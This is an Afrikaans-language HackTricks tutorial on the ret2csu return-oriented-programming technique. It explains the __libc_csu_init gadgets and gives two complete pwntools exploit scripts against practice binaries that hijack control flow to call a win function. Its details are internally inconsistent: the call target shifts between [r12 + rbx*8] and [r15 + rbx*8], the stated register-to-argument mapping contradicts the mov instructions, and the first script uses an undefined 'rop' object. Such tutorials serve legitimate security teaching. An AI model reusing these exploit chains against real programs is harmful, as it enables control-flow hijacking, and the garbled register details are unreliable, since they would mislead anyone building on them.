Ret2csu

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

ret2csu is 'n haktegniek wat gebruik word wanneer jy probeer om beheer oor 'n program te neem, maar nie die gadgets kan vind wat jy gewoonlik gebruik om die program se gedrag te manipuleer nie.

Wanneer 'n program sekere biblioteke gebruik (soos libc), het dit 'n paar ingeboude funksies om te bestuur hoe verskillende dele van die program met mekaar praat. Onder hierdie funksies is daar 'n paar verborge juwele wat as ons ontbrekende gadgets kan optree, veral een genaamd __libc_csu_init.

Die Tovergadgets in __libc_csu_init

In __libc_csu_init is daar twee reekse instruksies (gadgets) om uit te lig:

  1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Dit is soos gleuwe waar ons getalle of adresse wat ons later wil gebruik, kan stoor.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Hierdie toestel stel ons in staat om hierdie registers te beheer deur waardes van die stok af te haal en in hulle te plaas.

  1. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:

  • Beweeg spesifieke waardes na ander registers, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.

  • Voer 'n oproep uit na 'n plek wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Dalk weet jy nie enige adres om daar te skryf nie en jy benodig 'n ret instruksie. Let daarop dat die tweede gadget ook sal eindig in 'n ret, maar jy sal aan 'n paar voorwaardes moet voldoen om dit te bereik:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Die voorwaardes sal wees:

  • [r12 + rbx*8] moet na 'n adres wys wat 'n aanroepbare funksie stoor (as daar geen idee en geen pie is nie, kan jy net die _init funksie gebruik):

  • As _init by 0x400560 is, gebruik GEF om vir 'n wyser in die geheue na dit te soek en maak [r12 + rbx*8] die adres met die wyser na _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp en rbx moet dieselfde waarde hê om die sprong te vermy

  • Daar is 'n paar weggelaatde pops wat jy in ag moet neem

RDI en RSI

'n Ander manier om rdi en rsi van die ret2csu-toestel te beheer is deur dit spesifieke offsette te benader:

Kyk na hierdie bladsy vir meer inligting:

pageBROP - Blind Return Oriented Programming

Voorbeeld

Die gebruik van die oproep

Stel jou voor jy wil 'n stelseloproep maak of 'n funksie soos write() aanroep, maar jy het spesifieke waardes in die rdx en rsi registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk instel, maar jy kan nie enige vind nie.

Hier kom ret2csu in spel:

  1. Stel die Registers Op: Gebruik die eerste "magic gadget" om waardes van die stok af te haal en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.

  2. Gebruik die Tweede Gadget: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in rdx en rsi te plaas (vanaf r14 en r13 onderskeidelik), wat parameters gereed maak vir 'n funksieoproep. Verder, deur r15 en rbx te beheer, kan jy die program 'n funksie laat aanroep wat by die adres geleë is wat jy bereken en in [r15 + rbx*8] plaas.

Jy het 'n voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik, en dit is die finale uitbuiting wat dit gebruik het:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Let wel dat die vorige aanval nie bedoel is om 'n RCE uit te voer nie, dit is bloot bedoel om 'n funksie genaamd win aan te roep (die adres van win neem vanaf stdin deur gets in die ROP-ketting te roep en dit in r15 te stoor) met 'n derde argument met die waarde 0xdeadbeefcafed00d.

Oorbrugging van die oproep en bereiking van ret

Die volgende aanval is onttrek vanaf hierdie bladsy waar die ret2csu gebruik word, maar in plaas daarvan om die oproep te gebruik, word die vergelykings omseil en word die ret na die oproep bereik:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Hoekom nie net libc direk gebruik nie?

Gewoonlik is hierdie gevalle ook vatbaar vir ret2plt + ret2lib, maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die write()-funksie vereis drie parameters, en dit mag nie moontlik wees om gadgets te vind om al hierdie direk in te stel nie.

Last updated